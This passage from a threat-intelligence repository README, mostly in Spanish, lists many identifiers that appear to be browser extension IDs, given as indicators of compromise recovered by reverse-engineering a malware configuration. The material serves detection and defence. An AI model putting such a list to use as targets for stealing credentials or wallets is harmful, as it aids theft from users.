kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj
kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn
kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn
lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg
lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa
lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi
lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
Consulte CHANGELOG.md para actualizaciones versionadas.
Consulte CONTRIBUTING.md para las directrices, plantillas de incidencias y la lista de verificación de PR.
El texto de análisis y los scripts se publican bajo la Licencia MIT. Las listas de IOCs y el contenido de inteligencia de amenazas se proporcionan con fines defensivos; la reutilización en productos comerciales está permitida bajo los términos de la licencia.
Ingeniería inversa independiente en un entorno aislado. La configuración cifrada fue recuperada mediante análisis estático y emulación de CPU por helper. Consulte scripts/decrypt_all.py y SECURITY.md.